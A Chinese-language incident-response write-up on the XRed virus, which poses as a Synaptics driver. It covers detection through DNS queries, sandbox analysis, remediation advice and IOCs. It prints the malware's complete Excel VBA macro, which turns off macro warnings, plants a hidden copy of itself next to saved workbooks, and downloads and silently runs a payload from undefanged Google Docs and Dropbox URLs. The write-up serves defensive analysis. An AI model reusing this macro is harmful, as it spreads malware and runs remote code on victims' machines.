0x00序言

在日常工作中，如果办公电脑或者个人PC有以下两个方面的异常行为，则大概率已经中招XRed病毒，它属于AutoRun家族。具体情况如下：

1．打开xlsx电子表格文件，会提示宏并且文件内容也会改变，最关键的一个特点是关闭电子表格文件会进行后缀名的改变。（xlsx--xlsm）

2. 在DNS请求流量中会有该恶意域名（xred.mooo.com）解析请求记录，周期为每10分钟一次。

0x01事件起因

发现DNS异常解析行为，定位终端进行问题排查。

0x02应急排查

定位到具体的终端，发现是一台windows10虚拟机，进行了网络及进程、注册表、启动项等相关排查，除了有DNS的异常解析行为（每10分钟一次）再无其他的影响。具体排查如下：

1.通过进程的异常分析，发现该病毒伪装成“Synaptics触摸板驱动程序”。

2.对父进程进行追踪查找并进行kill，从而提取到该病毒样本。（在提取过程中注意打开显示隐藏文件）

3.然后使用火绒进行全面查杀，并无发现风险。

0x03样本分析

提取病毒样本，进行下一步分析。具体流程如下：

1. 使用IDA工具查文件的基础信息

MD5: FBA313D7C15B420EE31C263E79EA90A7

使用Strings查看程序包含的字符信息

获取这些基础信息，通过奇安信、360、微步在线云沙箱自动化分析。

奇安信沙箱

360沙箱

微步沙箱

4. 样本运行详细过程

主机行为

进程行为

网络行为

5. 通过对样本的自动化分析，已经获取了很多关键信息，获取宏代码如下

Dim SheetsChanged As Boolean
Dim SheetCount As Integer

Private Sub Workbook_Open()
  Dim i As Integer
  For i = 1 To ActiveWorkbook.Sheets.Count
    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
  Next i
  
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
  
  Application.DisplayAlerts = False
  SheetCount = Worksheets.Count
  
  Call MPS
  
  ActiveWorkbook.Sheets(1).Select
  SheetsChanged = False
End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)
  If Not SheetsChanged Then
    ActiveWorkbook.Saved = True
  End If
End Sub

Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
  SheetsChanged = True
End Sub

Private Sub Workbook_NewSheet(ByVal Sh As Object)
  SheetsChanged = True
End Sub

Private Sub Workbook_SheetActivate(ByVal Sh As Object)
  If ActiveWorkbook.Sheets.Count <> SheetCount Then
    SheetsChanged = True
    SheetCount = ActiveWorkbook.Sheets.Count
  End If
End Sub

Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
  Dim i As Integer
  Dim AIndex As Integer
  Dim FName

  AIndex = ActiveWorkbook.ActiveSheet.Index

  If SaveAsUI = False Then
    Cancel = True
    Application.EnableEvents = False
    Application.ScreenUpdating = False
    
    For i = 1 To ActiveWorkbook.Sheets.Count - 1
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
    Next i
    ActiveWorkbook.Save
      
    For i = 1 To ActiveWorkbook.Sheets.Count
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
    Next i
    ActiveWorkbook.Sheets(AIndex).Select
    SheetsChanged = False
    
    Application.ScreenUpdating = True
    Application.EnableEvents = True
  Else
    Cancel = True
    Application.EnableEvents = False
    Application.ScreenUpdating = False
    
    For i = 1 To ActiveWorkbook.Sheets.Count - 1
      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
    Next i
    
    FName = Application.GetSaveAsFilename(fileFilter:="Excel Çalışma Kitabı (*.xlsm), *.xlsm")
    If FName <> False Then
      ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
      SaveAsInj ActiveWorkbook.Path
    End If
    
    For i = 1 To ActiveWorkbook.Sheets.Count
      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
    Next i
    ActiveWorkbook.Sheets(AIndex).Select
    SheetsChanged = False
        
    Application.ScreenUpdating = True
    Application.EnableEvents = True
  End If
End Sub

Sub SaveAsInj(DIR As String)
  Dim FSO As Object
  Dim FN As String
  
  Set FSO = CreateObject("scripting.filesystemobject")
  FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
  
  If FSO.FileExists(FN) Then
    If Not FSO.FileExists(DIR & "\~$cache1") Then
      FileCopy FN, DIR & "\~$cache1"
    End If
    SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
  End If
End Sub

Function RegKeyRead(i_RegKey As String) As String
  Dim myWS As Object

  On Error Resume Next
  Set myWS = CreateObject("WScript.Shell")
  RegKeyRead = myWS.RegRead(i_RegKey)
End Function

Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object

  On Error GoTo ErrorHandler
  Set myWS = CreateObject("WScript.Shell")
  myWS.RegRead i_RegKey
  RegKeyExists = True
  Exit Function
  
ErrorHandler:
  RegKeyExists = False
End Function

Sub RegKeySave(i_RegKey As String, _
               i_Value As String, _
      Optional i_Type As String = "REG_SZ")
Dim myWS As Object

  Set myWS = CreateObject("WScript.Shell")
  myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub

Sub MPS()
  Dim FSO As Object
  Dim FP(1 To 3), TMP, URL(1 To 3) As String
  
  Set FSO = CreateObject("scripting.filesystemobject")
  FP(1) = ActiveWorkbook.Path & "\~$cache1"
  FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"

  URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
  TMP = Environ("Temp") & "\~$cache1.exe"
  
  If FSO.FileExists(FP(1)) Then
    If Not FSO.FileExists(TMP) Then
      FileCopy FP(1), TMP
    End If
    Shell TMP, vbHide
  ElseIf FSO.FileExists(FP(2)) Then
    If Not FSO.FileExists(TMP) Then
      FileCopy FP(2), TMP
    End If
    Shell TMP, vbHide
  Else
    If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
      Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
    ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
      Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
    ElseIf Not FSO.FileExists(TMP) Then
      If FDW((URL(1)), (TMP)) Then
      ElseIf FDW((URL(2)), (TMP)) Then
      ElseIf FDW((URL(3)), (TMP)) Then
      End If
      If FSO.FileExists(TMP) Then
        Shell TMP, vbHide
      End If
    Else
      Shell TMP, vbHide
    End If
    
  End If
  
End Sub

Function FDW(MYU, NMA As String) As Boolean
  Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
  If WinHttpReq Is Nothing Then
    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
  End If

  WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
  WinHttpReq.Option(6) = AllowRedirects
  WinHttpReq.Open "GET", MYU, False
  WinHttpReq.Send
  
  If (WinHttpReq.Status = 200) Then
    If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
      FDW = True
      Set oStream = CreateObject("ADODB.Stream")
      oStream.Open
      oStream.Type = 1
      oStream.Write WinHttpReq.ResponseBody
      oStream.SaveToFile (NMA)
      oStream.Close
    Else
       FDW = False
    End If
  Else
    FDW = False
  End If
End Function

0x04病毒归类

通过全流量留存或者进行数据包捕获，然后使用弥天实验室开发的dga恶意域名检测工具进行家族归类和受害主机定位。

这里使用的是沙箱运行留存的数据包，具体使用效果如下：

（工具使用和下载请参见HVV之基于360数据的dga恶意域名检测工具：

https://mp.weixin.qq.com/s/EPiQY_8i4LWP_S3aaX2yYw）

0x05修复建议

安装杀毒软件，定期升级病毒库

不要点击来源不明的邮件以及附件和链接

打全系统及应用程序补丁并及时更新

采用高强度的密码，避免使用弱口令密码，并定期更换密码（终端基线）

尽量关闭不必要的文件共享

提升安全意识

0x06参考链接

https://www.freebuf.com/articles/endpoint/222991.html

https://s.tencent.com/research/report/880.html

IOCs:

md5
13358cfb6040fd4b2dba262f209464de
FBA313D7C15B420EE31C263E79EA90A7

C2 & URL
xred.mooo.com
freedns.afraid.org/api/?action=getdyndns&sha=a30fa9*****797bcc613562978
hxxps://docs.google.com/uc?id=0BxsM*****aHFYVkQxeFk&export=download
hxxps://www.dropbox.com/s/zh*****hwylq/Synaptics.rar?dl=1
hxxp://xred.site50.net/syn/*****.rar

病毒作者邮箱地址

xredline1@gmail.com

xredline2@gmail.com;

xredline3@gmail.com